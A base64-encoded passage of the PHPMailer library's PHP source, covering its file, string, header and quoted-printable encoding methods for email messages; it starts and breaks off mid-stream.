gICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPmVuY29kZUZpbGUoJHBhdGgsICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5pc0Vycm9yKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAkbWltZVtdID0gc3ByaW50ZignLS0lcy0tJXMnLCAkYm91bmRhcnksICR0aGlzLT5MRSk7CgogICAgICAgIHJldHVybiBpbXBsb2RlKCcnLCAkbWltZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbmNvZGUgYSBmaWxlIGF0dGFjaG1lbnQgaW4gcmVxdWVzdGVkIGZvcm1hdC4KICAgICAqIFJldHVybnMgYW4gZW1wdHkgc3RyaW5nIG9uIGZhaWx1cmUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoIFRoZSBmdWxsIHBhdGggdG8gdGhlIGZpbGUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGVuY29kaW5nIFRoZSBlbmNvZGluZyB0byB1c2U7IG9uZSBvZiAnYmFzZTY0JywgJzdiaXQnLCAnOGJpdCcsICdiaW5hcnknLCAncXVvdGVkLXByaW50YWJsZScKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGVuY29kZUZpbGUoJHBhdGgsICRlbmNvZGluZyA9ICdiYXNlNjQnKQogICAgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGlmICghc2VsZjo6aXNQZXJtaXR0ZWRQYXRoKCRwYXRoKSBvciAhZmlsZV9leGlzdHMoJHBhdGgpKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdmaWxlX29wZW4nKSAuICRwYXRoLCBzZWxmOjpTVE9QX0NPTlRJTlVFKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkbWFnaWNfcXVvdGVzID0gZmFsc2U7CiAgICAgICAgICAgIGlmKCB2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc3LjQuMCcsICc8JykgKSB7CiAgICAgICAgICAgICAgICAkbWFnaWNfcXVvdGVzID0gZ2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRtYWdpY19xdW90ZXMpIHsKICAgICAgICAgICAgICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjMuMCcsICc8JykpIHsKICAgICAgICAgICAgICAgICAgICBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoZmFsc2UpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAvL0RvZXNuJ3QgZXhpc3QgaW4gUEhQIDUuNCwgYnV0IHdlIGRvbid0IG5lZWQgdG8gY2hlY2sgYmVjYXVzZQogICAgICAgICAgICAgICAgICAgIC8vZ2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lIGFsd2F5cyByZXR1cm5zIGZhbHNlIGluIDUuNCsKICAgICAgICAgICAgICAgICAgICAvL3NvIGl0IHdpbGwgbmV2ZXIgZ2V0IGhlcmUKICAgICAgICAgICAgICAgICAgICBpbmlfc2V0KCdtYWdpY19xdW90ZXNfcnVudGltZScsIGZhbHNlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkZmlsZV9idWZmZXIgPSBmaWxlX2dldF9jb250ZW50cygkcGF0aCk7CiAgICAgICAgICAgICRmaWxlX2J1ZmZlciA9ICR0aGlzLT5lbmNvZGVTdHJpbmcoJGZpbGVfYnVmZmVyLCAkZW5jb2RpbmcpOwogICAgICAgICAgICBpZiAoJG1hZ2ljX3F1b3RlcykgewogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMy4wJywgJzwnKSkgewogICAgICAgICAgICAgICAgICAgIHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgkbWFnaWNfcXVvdGVzKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgaW5pX3NldCgnbWFnaWNfcXVvdGVzX3J1bnRpbWUnLCAkbWFnaWNfcXVvdGVzKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gJGZpbGVfYnVmZmVyOwogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICByZXR1cm4gJyc7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogRW5jb2RlIGEgc3RyaW5nIGluIHJlcXVlc3RlZCBmb3JtYXQuCiAgICAgKiBSZXR1cm5zIGFuIGVtcHR5IHN0cmluZyBvbiBmYWlsdXJlLgogICAgICogQHBhcmFtIHN0cmluZyAkc3RyIFRoZSB0ZXh0IHRvIGVuY29kZQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcgVGhlIGVuY29kaW5nIHRvIHVzZTsgb25lIG9mICdiYXNlNjQnLCAnN2JpdCcsICc4Yml0JywgJ2JpbmFyeScsICdxdW90ZWQtcHJpbnRhYmxlJwogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBlbmNvZGVTdHJpbmcoJHN0ciwgJGVuY29kaW5nID0gJ2Jhc2U2NCcpCiAgICB7CiAgICAgICAgJGVuY29kZWQgPSAnJzsKICAgICAgICBzd2l0Y2ggKHN0cnRvbG93ZXIoJGVuY29kaW5nKSkgewogICAgICAgICAgICBjYXNlICdiYXNlNjQnOgogICAgICAgICAgICAgICAgJGVuY29kZWQgPSBjaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKCRzdHIpLCA3NiwgJHRoaXMtPkxFKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICc3Yml0JzoKICAgICAgICAgICAgY2FzZSAnOGJpdCc6CiAgICAgICAgICAgICAgICAkZW5jb2RlZCA9ICR0aGlzLT5maXhFT0woJHN0cik7CiAgICAgICAgICAgICAgICAvLyBNYWtlIHN1cmUgaXQgZW5kcyB3aXRoIGEgbGluZSBicmVhawogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkZW5jb2RlZCwgLShzdHJsZW4oJHRoaXMtPkxFKSkpICE9ICR0aGlzLT5MRSkgewogICAgICAgICAgICAgICAgICAgICRlbmNvZGVkIC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdiaW5hcnknOgogICAgICAgICAgICAgICAgJGVuY29kZWQgPSAkc3RyOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ3F1b3RlZC1wcmludGFibGUnOgogICAgICAgICAgICAgICAgJGVuY29kZWQgPSAkdGhpcy0+ZW5jb2RlUVAoJHN0cik7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZW5jb2RpbmcnKSAuICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRlbmNvZGVkOwogICAgfQoKICAgIC8qKgogICAgICogRW5jb2RlIGEgaGVhZGVyIHN0cmluZyBvcHRpbWFsbHkuCiAgICAgKiBQaWNrcyBzaG9ydGVzdCBvZiBRLCBCLCBxdW90ZWQtcHJpbnRhYmxlIG9yIG5vbmUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc3RyCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwb3NpdGlvbgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZUhlYWRlcigkc3RyLCAkcG9zaXRpb24gPSAndGV4dCcpCiAgICB7CiAgICAgICAgJG1hdGNoY291bnQgPSAwOwogICAgICAgIHN3aXRjaCAoc3RydG9sb3dlcigkcG9zaXRpb24pKSB7CiAgICAgICAgICAgIGNhc2UgJ3BocmFzZSc6CiAgICAgICAgICAgICAgICBpZiAoIXByZWdfbWF0Y2goJy9bXDIwMC1cMzc3XS8nLCAkc3RyKSkgewogICAgICAgICAgICAgICAgICAgIC8vIENhbid0IHVzZSBhZGRzbGFzaGVzIGFzIHdlIGRvbid0IGtub3cgdGhlIHZhbHVlIG9mIG1hZ2ljX3F1b3Rlc19zeWJhc2UKICAgICAgICAgICAgICAgICAgICAkZW5jb2RlZCA9IGFkZGNzbGFzaGVzKCRzdHIsICJcMC4uXDM3XDE3N1xcXCIiKTsKICAgICAgICAgICAgICAgICAgICBpZiAoKCRzdHIgPT0gJGVuY29kZWQpICYmICFwcmVnX21hdGNoKCcvW15BLVphLXowLTkhIyQlJlwnKitcLz0\/Xl9ge3x9fiAtXS8nLCAkc3RyKSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCRlbmNvZGVkKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCJcIiRlbmNvZGVkXCIiKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkbWF0Y2hjb3VudCA9IHByZWdfbWF0Y2hfYWxsKCcvW15cMDQwXDA0MVwwNDMtXDEzM1wxMzUtXDE3Nl0vJywgJHN0ciwgJG1hdGNoZXMpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIC8qKiBAbm9pbnNwZWN0aW9uIFBocE1pc3NpbmdCcmVha1N0YXRlbWVudEluc3BlY3Rpb24gKi8KICAgICAgICAgICAgY2FzZSAnY29tbWVudCc6CiAgICAgICAgICAgICAgICAkbWF0Y2hjb3VudCA9IHByZWdfbWF0Y2hfYWxsKCcvWygpIl0vJywgJHN0ciwgJG1hdGNoZXMpOwogICAgICAgICAgICAgICAgLy8gSW50ZW50aW9uYWwgZmFsbC10aHJvdWdoCiAgICAgICAgICAgIGNhc2UgJ3RleHQnOgogICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgJG1hdGNoY291bnQgKz0gcHJlZ19tYXRjaF9hbGwoJy9bXDAwMC1cMDEwXDAxM1wwMTRcMDE2LVwwMzdcMTc3LVwzNzddLycsICRzdHIsICRtYXRjaGVzKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KCiAgICAgICAgLy9UaGVyZSBhcmUgbm8gY2hhcnMgdGhhdCBuZWVkIGVuY29kaW5nCiAgICAgICAgaWYgKCRtYXRjaGNvdW50ID09IDApIHsKICAgICAgICAgICAgcmV0dXJuICgkc3RyKTsKICAgICAgICB9CgogICAgICAgICRtYXhsZW4gPSA3NSAtIDcgLSBzdHJsZW4oJHRoaXMtPkNoYXJTZXQpOwogICAgICAgIC8vIFRyeSB0byBzZWxlY3QgdGhlIGVuY29kaW5nIHdoaWNoIHNob3VsZCBwcm9kdWNlIHRoZSBzaG9ydGVzdCBvdXRwdXQKICAgICAgICBpZiAoJG1hdGNoY291bnQgPiBzdHJsZW4oJHN0cikgLyAzKSB7CiAgICAgICAgICAgIC8vIE1vcmUgdGhhbiBhIHRoaXJkIG9mIHRoZSBjb250ZW50IHdpbGwgbmVlZCBlbmNvZGluZywgc28gQiBlbmNvZGluZyB3aWxsIGJlIG1vc3QgZWZmaWNpZW50CiAgICAgICAgICAgICRlbmNvZGluZyA9ICdCJzsKICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbWJfc3RybGVuJykgJiYgJHRoaXMtPmhhc011bHRpQnl0ZXMoJHN0cikpIHsKICAgICAgICAgICAgICAgIC8vIFVzZSBhIGN1c3RvbSBmdW5jdGlvbiB3aGljaCBjb3JyZWN0bHkgZW5jb2RlcyBhbmQgd3JhcHMgbG9uZwogICAgICAgICAgICAgICAgLy8gbXVsdGlieXRlIHN0cmluZ3Mgd2l0aG91dCBicmVha2luZyBsaW5lcyB3aXRoaW4gYSBjaGFyYWN0ZXIKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gJHRoaXMtPmJhc2U2NEVuY29kZVdyYXBNQigkc3RyLCAiXG4iKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZSgkc3RyKTsKICAgICAgICAgICAgICAgICRtYXhsZW4gLT0gJG1heGxlbiAlIDQ7CiAgICAgICAgICAgICAgICAkZW5jb2RlZCA9IHRyaW0oY2h1bmtfc3BsaXQoJGVuY29kZWQsICRtYXhsZW4sICJcbiIpKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRlbmNvZGluZyA9ICdRJzsKICAgICAgICAgICAgJGVuY29kZWQgPSAkdGhpcy0+ZW5jb2RlUSgkc3RyLCAkcG9zaXRpb24pOwogICAgICAgICAgICAkZW5jb2RlZCA9ICR0aGlzLT53cmFwVGV4dCgkZW5jb2RlZCwgJG1heGxlbiwgdHJ1ZSk7CiAgICAgICAgICAgICRlbmNvZGVkID0gc3RyX3JlcGxhY2UoJz0nIC4gc2VsZjo6Q1JMRiwgIlxuIiwgdHJpbSgkZW5jb2RlZCkpOwogICAgICAgIH0KCiAgICAgICAgJGVuY29kZWQgPSBwcmVnX3JlcGxhY2UoJy9eKC4qKSQvbScsICcgPT8nIC4gJHRoaXMtPkNoYXJTZXQgLiAiPyRlbmNvZGluZz9cXDE\/PSIsICRlbmNvZGVkKTsKICAgICAgICAkZW5jb2RlZCA9IHRyaW0oc3RyX3JlcGxhY2UoIlxuIiwgJHRoaXMtPkxFLCAkZW5jb2RlZCkpOwoKICAgICAgICByZXR1cm4gJGVuY29kZWQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayBpZiBhIHN0cmluZyBjb250YWlucyBtdWx0aS1ieXRlIGNoYXJhY3RlcnMuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc3RyIG11bHRpLWJ5dGUgdGV4dCB0byB3cmFwIGVuY29kZQogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBoYXNNdWx0aUJ5dGVzKCRzdHIpCiAgICB7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbWJfc3RybGVuJykpIHsKICAgICAgICAgICAgcmV0dXJuIChzdHJsZW4oJHN0cikgPiBtYl9zdHJsZW4oJHN0ciwgJHRoaXMtPkNoYXJTZXQpKTsKICAgICAgICB9IGVsc2UgeyAvLyBBc3N1bWUgbm8gbXVsdGlieXRlcyAod2UgY2FuJ3QgaGFuZGxlIHdpdGhvdXQgbWJzdHJpbmcgZnVuY3Rpb25zIGFueXdheSkKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIERvZXMgYSBzdHJpbmcgY29udGFpbiBhbnkgOC1iaXQgY2hhcnMgKGluIGFueSBjaGFyc2V0KT8KICAgICAqIEBwYXJhbSBzdHJpbmcgJHRleHQKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaGFzOGJpdENoYXJzKCR0ZXh0KQogICAgewogICAgICAgIHJldHVybiAoYm9vbGVhbilwcmVnX21hdGNoKCcvW1x4ODAtXHhGRl0vJywgJHRleHQpOwogICAgfQoKICAgIC8qKgogICAgICogRW5jb2RlIGFuZCB3cmFwIGxvbmcgbXVsdGlieXRlIHN0cmluZ3MgZm9yIG1haWwgaGVhZGVycwogICAgICogd2l0aG91dCBicmVha2luZyBsaW5lcyB3aXRoaW4gYSBjaGFyYWN0ZXIuCiAgICAgKiBBZGFwdGVkIGZyb20gYSBmdW5jdGlvbiBieSBwYXJhdm9pZAogICAgICogQGxpbmsgaHR0cDovL3d3dy5waHAubmV0L21hbnVhbC9lbi9mdW5jdGlvbi5tYi1lbmNvZGUtbWltZWhlYWRlci5waHAjNjAyODMKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIgbXVsdGktYnl0ZSB0ZXh0IHRvIHdyYXAgZW5jb2RlCiAgICAgKiBAcGFyYW0gc3RyaW5nICRsaW5lYnJlYWsgc3RyaW5nIHRvIHVzZSBhcyBsaW5lZmVlZC9lbmQtb2YtbGluZQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGJhc2U2NEVuY29kZVdyYXBNQigkc3RyLCAkbGluZWJyZWFrID0gbnVsbCkKICAgIHsKICAgICAgICAkc3RhcnQgPSAnPT8nIC4gJHRoaXMtPkNoYXJTZXQgLiAnP0I\/JzsKICAgICAgICAkZW5kID0gJz89JzsKICAgICAgICAkZW5jb2RlZCA9ICcnOwogICAgICAgIGlmICgkbGluZWJyZWFrID09PSBudWxsKSB7CiAgICAgICAgICAgICRsaW5lYnJlYWsgPSAkdGhpcy0+TEU7CiAgICAgICAgfQoKICAgICAgICAkbWJfbGVuZ3RoID0gbWJfc3RybGVuKCRzdHIsICR0aGlzLT5DaGFyU2V0KTsKICAgICAgICAvLyBFYWNoIGxpbmUgbXVzdCBoYXZlIGxlbmd0aCA8PSA3NSwgaW5jbHVkaW5nICRzdGFydCBhbmQgJGVuZAogICAgICAgICRsZW5ndGggPSA3NSAtIHN0cmxlbigkc3RhcnQpIC0gc3RybGVuKCRlbmQpOwogICAgICAgIC8vIEF2ZXJhZ2UgbXVsdGktYnl0ZSByYXRpbwogICAgICAgICRyYXRpbyA9ICRtYl9sZW5ndGggLyBzdHJsZW4oJHN0cik7CiAgICAgICAgLy8gQmFzZTY0IGhhcyBhIDQ6MyByYXRpbwogICAgICAgICRhdmdMZW5ndGggPSBmbG9vcigkbGVuZ3RoICogJHJhdGlvICogLjc1KTsKCiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgJG1iX2xlbmd0aDsgJGkgKz0gJG9mZnNldCkgewogICAgICAgICAgICAkbG9va0JhY2sgPSAwOwogICAgICAgICAgICBkbyB7CiAgICAgICAgICAgICAgICAkb2Zmc2V0ID0gJGF2Z0xlbmd0aCAtICRsb29rQmFjazsKICAgICAgICAgICAgICAgICRjaHVuayA9IG1iX3N1YnN0cigkc3RyLCAkaSwgJG9mZnNldCwgJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICAgICAgICAgJGNodW5rID0gYmFzZTY0X2VuY29kZSgkY2h1bmspOwogICAgICAgICAgICAgICAgJGxvb2tCYWNrKys7CiAgICAgICAgICAgIH0gd2hpbGUgKHN0cmxlbigkY2h1bmspID4gJGxlbmd0aCk7CiAgICAgICAgICAgICRlbmNvZGVkIC49ICRjaHVuayAuICRsaW5lYnJlYWs7CiAgICAgICAgfQoKICAgICAgICAvLyBDaG9tcCB0aGUgbGFzdCBsaW5lZmVlZAogICAgICAgICRlbmNvZGVkID0gc3Vic3RyKCRlbmNvZGVkLCAwLCAtc3RybGVuKCRsaW5lYnJlYWspKTsKICAgICAgICByZXR1cm4gJGVuY29kZWQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbmNvZGUgYSBzdHJpbmcgaW4gcXVvdGVkLXByaW50YWJsZSBmb3JtYXQuCiAgICAgKiBBY2NvcmRpbmcgdG8gUkZDMjA0NSBzZWN0aW9uIDYuNy4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgVGhlIHRleHQgdG8gZW5jb2RlCiAgICAgKiBAcGFyYW0gaW50ZWdlciAkbGluZV9tYXggTnVtYmVyIG9mIGNoYXJzIGFsbG93ZWQgb24gYSBsaW5lIGJlZm9yZSB3cmFwcGluZwogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqIEBsaW5rIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vZnVuY3Rpb24ucXVvdGVkLXByaW50YWJsZS1kZWNvZGUucGhwIzg5NDE3IEFkYXB0ZWQgZnJvbSB0aGlzIGNvbW1lbnQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZVFQKCRzdHJpbmcsICRsaW5lX21heCA9IDc2KQogICAgewogICAgICAgIC8vIFVzZSBuYXRpdmUgZnVuY3Rpb24gaWYgaXQncyBhdmFpbGFibGUgKD49IFBIUDUuMykKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdxdW90ZWRfcHJpbnRhYmxlX2VuY29kZScpKSB7CiAgICAgICAgICAgIHJldHVybiBxdW90ZWRfcHJpbnRhYmxlX2VuY29kZSgkc3RyaW5nKTsKICAgICAgICB9CiAgICAgICAgLy8gRmFsbCBiYWNrIHRvIGEgcHVyZSBQSFAgaW1wbGVtZW50YXRpb24KICAgICAgICAkc3RyaW5nID0gc3RyX3JlcGxhY2UoCiAgICAgICAgICAgIGFycmF5KCclMjAnLCAnJTBEJTBBLicsICclMEQlMEEnLCAnJScpLAogICAgICAgICAgICBhcnJheSgnICcsICJcclxuPTJFIiwgIlxyXG4iLCAnPScpLAogICAgICAgICAgICByYXd1cmxlbmNvZGUoJHN0cmluZykKICAgICAgICApOwogICAgICAgIHJldHVybiBwcmVnX3JlcGxhY2UoJy9bXlxyXG5deycgLiAoJGxpbmVfbWF4IC0gMykgLiAnfVtePVxyXG5dezJ9LycsICIkMD1cclxuIiwgJHN0cmluZyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBCYWNrd2FyZCBjb21wYXRpYmlsaXR5IHdyYXBwZXIgZm9yIGFuIG9sZCBRUCBlbmNvZGluZyBmdW5jdGlvbiB0aGF0IHdhcyByZW1vdmVkLgogICAgICogQHNlZSBQSFBNYWlsZXI6OmVuY29kZVFQKCkKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcKICAgICAqIEBwYXJhbSBpbnRlZ2VyICRsaW5lX21heAogICAgICogQHBhcmFtIGJvb2xlYW4gJHNwYWNlX2NvbnYKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKiBAZGVwcmVjYXRlZCBVc2UgZW5jb2RlUVAgaW5zdGVhZC4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZVFQcGhwKAogICAgICAgICRzdHJpbmcsCiAgICAgICAgJGxpbmVfbWF4ID0gNzYsCiAgICAgICAgLyoqIEBub2luc3BlY3Rpb24gUGhwVW51c2VkUGFyYW1ldGVySW5zcGVjdGlvbiAqLyAkc3BhY2VfY29udiA9IGZhbHNlCiAgICApIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmVuY29kZVFQKCRzdHJpbmcsICRsaW5lX21heCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbmNvZGUgYSBzdHJpbmcgdXNpbmcgUSBlbmNvZGluZy4KICAgICAqIEBsaW5rIGh0dHA6Ly90b29scy5pZXRmLm9yZy9odG1sL3JmYzIwNDcKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0ciB0aGUgdGV4dCB0byBlbmNvZGUKICAgICAqIEBwYXJhbSBzdHJpbmcgJHBvc2l0aW9uIFdoZXJlIHRoZSB0ZXh0IGlzIGdvaW5nIHRvIGJlIHVzZWQsIHNlZSB0aGUgUkZDIGZvciB3aGF0IHRoYXQgbWVhbnMKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZW5jb2RlUSgkc3RyLCAkcG9zaXRpb24gPSAndGV4dCcpCiAgICB7CiAgICAgICAgLy8gVGhlcmUgc2hvdWxkIG5vdCBiZSBhbnkgRU9MIGluIHRoZSBzdHJpbmcKICAgICAgICAkcGF0dGVybiA9ICcnOwogICAgICAgICRlbmNvZGVkID0gc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwgIlxuIiksICcnLCAkc3RyKTsKICAgICAgICBzd2l0Y2ggKHN0cnRvbG93ZXIoJHBvc2l0aW9uKSkgewogICAgICAgICAgICBjYXNlICdwaHJhc2UnOgogICAgICAgICAgICAgICAgLy8gUkZDIDIwNDcgc2VjdGlvbiA1LjMKICAgICAgICAgICAgICAgICRwYXR0ZXJuID0gJ15BLVphLXowLTkhKitcLyAtJzsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAvKiogQG5vaW5zcGVjdGlvbiBQaHBNaXNzaW5nQnJlYWtTdGF0ZW1lbnRJbnNwZWN0aW9uICovCiAgICAgICAgICAgIGNhc2UgJ2NvbW1lbnQnOgogICAgICAgICAgICAgICAgLy8gUkZDIDIwNDcgc2VjdGlvbiA1LjIKICAgICAgICAgICAgICAgICRwYXR0ZXJuID0gJ1woXCkiJzsKICAgICAgICAgICAgICAgIC8vIGludGVudGlvbmFsIGZhbGwtdGhyb3VnaAogICAgICAgICAgICAgICAgLy8gZm9yIHRoaXMgcmVhc29uIHdlIGJ1aWxkIHRoZSAkcGF0dGVybiB3aXRob3V0IGluY2x1ZGluZyBkZWxpbWl0ZXJzIGFuZCBbXQogICAgICAgICAgICBjYXNlICd0ZXh0JzoKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIC8vIFJGQyAyMDQ3IHNlY3Rpb24gNS4xCiAgICAgICAgICAgICAgICAvLyBSZXBsYWNlIGV2ZXJ5IGhpZ2ggYXNjaWksIGNvbnRyb2wsID0sID8gYW5kIF8gY2hhcmFjdGVycwogICAgICAgICAgICAgICAgJHBhdHRlcm4gPSAnXDAwMC1cMDExXDAxM1wwMTRcMDE2LVwwMzdcMDc1XDA3N1wxMzdcMTc3LVwzNzcnIC4gJHBhdHRlcm47CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgJG1hdGNoZXMgPSBhcnJheSgpOwogICAgICAgIGlmIChwcmVnX21hdGNoX2FsbCgiL1t7JHBhdHRlcm59XS8iLCAkZW5jb2RlZCwgJG1hdGNoZXMpKSB7CiAgICAgICAgICAgIC8vIElmIHRoZSBzdHJpbmcgY29udGFpbnMgYW4gJz0nLCBtYWtlIHN1cmUgaXQncyB0aGUgZmlyc3QgdGhpbmcgd2UgcmVwbGFjZQogICAgICAgICAgICAvLyBzbyBhcyB0byBhdm9pZCBkb3VibGUtZW5jb2RpbmcKICAgICAgICAgICAgJGVxa2V5ID0gYXJyYXlfc2VhcmNoKCc9JywgJG1hdGNoZXNbMF0pOwogICAgICAgICAgICBpZiAoZmFsc2UgIT09ICRlcWtleSkgewogICAgICAgICAgICAgICAgdW5zZXQoJG1hdGNoZXNbMF1bJGVxa2V5XSk7CiAgICAgICAgICAgICAgICBhcnJheV91bnNoaWZ0KCRtYXRjaGVzWzBdLCAnPScpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5X3VuaXF1ZSgkbWF0Y2hlc1swXSkgYXMgJGNoYXIpIHsKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gc3RyX3JlcGxhY2UoJGNoYXIsICc9JyAuIHNwcmludGYoJyUwMlgnLCBvcmQoJGNoYXIpKSwgJGVuY29kZWQpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIC8vIFJlcGxhY2UgZXZlcnkgc3BhY2VzIHRvIF8gKG1vcmUgcmVhZGFibGUgdGhhbiA9MjApCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCcgJywgJ18nLCAkZW5jb2RlZCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSBzdHJpbmcgb3IgYmluYXJ5IGF0dGFjaG1lbnQgKG5vbi1maWxlc3lzdGVtKS4KICAgICAqIFRoaXMgbWV0aG9kIGNhbiBiZSB1c2VkIHRvIGF0dGFjaCBhc2NpaSBvciBiaW5hcnkgZGF0YSwKICAgICAqIHN1Y2ggYXMgYSBCTE9CIHJlY29yZCBmcm9tIGEgZGF0YWJhc2UuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgU3RyaW5nIGF0dGFjaG1lbnQgZGF0YS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lIE5hbWUgb2YgdGhlIGF0dGFjaG1lbnQuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyBGaWxlIGVuY29kaW5nIChzZWUgJEVuY29kaW5nKS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgRmlsZSBleHRlbnNpb24gKE1JTUUpIHR5cGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkaXNwb3NpdGlvbiBEaXNwb3Npd